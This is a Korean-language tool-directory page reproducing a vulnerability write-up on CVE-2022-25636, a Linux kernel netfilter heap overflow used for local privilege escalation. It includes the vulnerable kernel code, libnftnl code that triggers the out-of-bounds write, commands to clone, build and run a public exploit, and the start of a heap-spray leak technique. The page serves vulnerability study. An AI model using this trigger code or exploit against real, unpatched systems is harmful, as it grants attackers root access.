Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-25636 — CVE-2022-25636에 대한 상세 기술 분석 및 익스플로잇 라이트업: 힙 스프레이(heap spraying)와 UAF(use-after-free)를 통해 로컬 권한 상승을 가능하게 하는 Linux 커널 netfilter 힙 오버플로 취약점. | Kitploit
도구/GitHubGitHub/chenaotian/cve-2022-25636
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

CVE-2022-25636에 대한 상세 기술 분석 및 익스플로잇 라이트업: 힙 스프레이(heap spraying)와 UAF(use-after-free)를 통해 로컬 권한 상승을 가능하게 하는 Linux 커널 netfilter 힙 오버플로 취약점.

저장소 보기
32134년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-25636 netfilter 커널 권한 상승

[toc]

취약점 개요

취약점 번호: CVE-2022-25636

영향 제품: linux kernel - netfilter

영향 버전: linux kernel 5.4 ~

취약점 위험성: netfilter 커널 모듈에 힙 경계를 벗어난 쓰기가 존재하며, SYS_ADMIN 권한이 있을 때 권한 상승을 유발할 수 있음

환경 구성

취약점은 netfilter 커널 모듈에 존재하며, 취약한 코드는 3개의 ko 파일에 있다.

nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

qemu로 직접 부팅하면 문제가 있어 ko가 로드되지 않으므로, vmware에서 두 시스템을 연동하여 디버깅한다.

ubuntu 21.10에서는 커널을 수동으로 교체할 수 있다:

apt-get install linux-image-5.13.0-30-generic

그런 다음 기존 커널을 삭제하고 exp를 컴파일한다:

git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

권한 상승 효과(성공률 50% 미만):

image-20220318151010142

취약점 원리

취약점 발생 지점

취약점이 존재하는 함수는 nft_fwd_dup_netdev_offload이다:

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

flow->rule->action.entries(이 구조체는 가변 길이 구조체이며 배열 크기 정보가 없음)를 설정할 때 힙 경계 검사를 수행하지 않아, 정수(4 또는 5) 하나와 포인터 하나를 경계 밖에 쓰게 된다.

호출 스택

해당 함수는 nft_flow_rule_create 함수에서 사용된다:

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	//ctx->num_actions 初始化为0 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {//根据rule数量调用offload
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

nft_flow_rule_create 함수는 사용자 공간에서 전달된 rule 구조체의 개수에 따라 flow 구조체를 할당하고 처리한다는 것을 알 수 있다. num_actions 변수로 개수를 세지만, 카운트 과정에서는 NFT_OFFLOAD_F_ACTION 플래그가 있는 rule만 계산하며, 그 개수에 따라 해당 크기의 구조체를 할당한다. 이후 offload를 호출하여 처리할 때는 num_actions로 루프를 돌지 않고, 이전과 동일하게 rule 개수만큼 루프를 수행한다. 다만 이때는 더 이상 NFT_OFFLOAD_F_ACTION 플래그를 확인하지 않는다. 즉, 전달된 rule 중 NFT_OFFLOAD_F_ACTION 플래그가 없는 rule이 있다면 이후 offload가 호출되는 횟수가 앞서 할당한 flow->rule->action.entries의 개수보다 많아진다. offload 내부에서 취약 함수 nft_fwd_dup_netdev_offload가 호출될 때마다 ctx->num_actions가 1씩 증가하며, ctx->num_actions는 0으로 초기화되므로 결국 ctx->num_actions가 flow->rule->action.entries 배열 범위를 초과하여 경계를 벗어난 쓰기가 발생한다.

일부 구조체:

struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

호출 스택:

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

netfilter 사용 및 트리거

참고 링크: https://www.openwall.com/lists/oss-security/2022/02/21/2

해당 메일은 C 언어의 libmnl 및 libnftnl 라이브러리로 netfilter를 사용하는 방법을 설명한다. 취약점을 트리거하는 핵심 포인트는 추가하는 rule에 NFT_OFFLOAD_F_ACTION 플래그가 있는지 여부다. nftnl_expr_alloc("immediate"); 로 추가한 rule에만 NFT_OFFLOAD_F_ACTION 플래그가 있다:

for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

취약점 익스플로잇

익스플로잇은 그리 안정적이지 않지만, 사용된 기술은 매우 정교하다. 이 취약점은 경계를 벗어난 고정 오프셋 위치에 제어할 수 없는 포인터를 쓰는 것이며, 개인적으로 익스플로잇 난이도가 매우 높다고 생각한다. 기술적 수법을 간단히 분석해 보겠다. 취약 코드를 보면 매번 경계를 벗어난 쓰기에서 정수 하나(id, 4 또는 5로 고정)와 포인터 하나(*dev)만 쓸 수 있으며, 이 포인터는 struct net_device 구조체를 가리킨다. 여기서는 dev 포인터 쓰기에만 집중한다:

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
	··· ···
}

struct flow_rule 구조체는 가변 길이 구조체이므로, 할당받을 수 있는 크기 범위가 익스플로잇 성공 여부를 결정한다.

  • rule을 하나만 전달하면 구조체 크기는 0x70으로, kmalloc-128(0x80)에 해당한다. 경계를 벗어난 쓰기가 발생하면 dev 포인터가 0x88 위치, 즉 0x8만큼 벗어난 곳에 쓰이게 된다.
  • rule을 두 개 전달하면 구조체 크기는 0xC0으로, 정확히 kmalloc-192(0xC0)에 해당한다. 경계를 벗어난 쓰기가 발생하면 dev 포인터가 0xd8 위치, 즉 0x18만큼 벗어난 곳에 쓰이며, 두 번 경계를 벗어나면 0x18 + 0x50만큼 벗어난 위치에 쓰이게 된다...

관련 구조체:

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_match {
	struct flow_dissector	*dissector;
	void			*mask;
	void			*key;
};

struct flow_dissector {
	unsigned int used_keys; /* each bit repesents presence of one key id */
	unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {//大小0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

커널 net_device 구조체 주소 유출

익스플로잇을 진행하려면 먼저 *dev 주소를 두 번 유출해야 한다. 서로 다른 두 dev 주소를 유출해야 하므로, 하나는 현재 프로세스에서, 다른 하나는 자식 프로세스에서 유출한다. msg_msg를 사용하여 유출한다(msg_msg 기술 정리). 크기가 0x1040인 msg를 힙 스프레이하면, msg 구조상 두 부분으로 나뉘며 두 번째 부분은 길이가 0x70이고 헤더 포인터를 더하면 kmalloc-128로 할당된다. 그런 다음 msg 하나를 해제하여 kmalloc-128 하나를 해제한다. 이어서 rule이 하나뿐인 flow_rule 구조체를 사용하는데, 이것도 정확히 kmalloc-128이므로 방금 해제된 msg의 두 번째 부분인 kmalloc-128에 할당되어 다음과 같은 힙 레이아웃을 구성하길 기대한다:

도구 다운로드